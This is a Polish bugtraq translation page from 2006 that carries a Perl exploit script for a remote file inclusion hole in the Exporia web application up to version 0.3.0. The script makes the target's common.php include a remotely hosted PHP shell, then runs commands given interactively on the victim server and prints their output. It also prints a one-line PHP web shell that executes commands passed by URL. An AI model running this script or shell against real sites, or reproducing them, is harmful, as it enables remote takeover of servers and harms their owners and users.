|
Polskie tłumaczenie bugtraqu
| Przetłumaczył: | kiero | | Temat artykułu: | Exporia => 0.3.0 Exploit na podatność zdalnego właczania zawartości pliku | | Źródło: | http://www.securityfocus.com/archive/1/450024/30/0/threaded | | Podatne wersje: | => 0.3.0 | | Data publikacji: | 2006-10-30 20:57:11 | | Czytano: | 2069 razy |
#!/usr/bin/perl
# Skrypt.............. :Exporia
# Odkryte przez.... : Root3r_H3ll
# Położenie .......... : Iran
# Typ.............. : Zdalny
# Oryginalne ogłoszenie : http://Www.PersainFox.com & Www.Arashrj.ir
# My jesteśmy : Root3r_H3LL & Arash.Rj
# <Spical TNX Irania Hackers :
# ( Aria-Security , Crouz , DeltaHacking , Iranhackers
# Kapa TeaM , Ashiyane , Shabgard , Simorgh-ev , Xmors )
use LWP::Simple;
print "...............................................................\n";
print ". .\n";
print ". Exporia => 0.3.0 Remote File Include Vulnerability .\n";
print ". .\n";
print "...............................................................\n";
print ". .\n";
print ". PerSiaNFox NetWork Security TeaM .\n";
print ". Discovered By : Root3r_H3ll .\n";
print ". .\n";
print "...............................................................\n";
print ". .\n";
print ". Www.PerSiaNFox.coM .\n";
print ". .\n";
print "...............................................................\n";
print "\n";
print " I Love HacK & SecUrity \n";
print "\n\n";
my $kw3,$path,$shell,$conexiune,$cmd,$data ;
if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}
$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);
$path = $path."/common.php";
sub usage(){
print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n";
print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>
';
}
while ()
{
print "[Root3r_H3LL][Arash.rj]";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}
$kw3 = $path."?lan=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
{ print "Enter your command !\n"; }
else
{ $data=get($kw3); print $data ; }
} |
|
|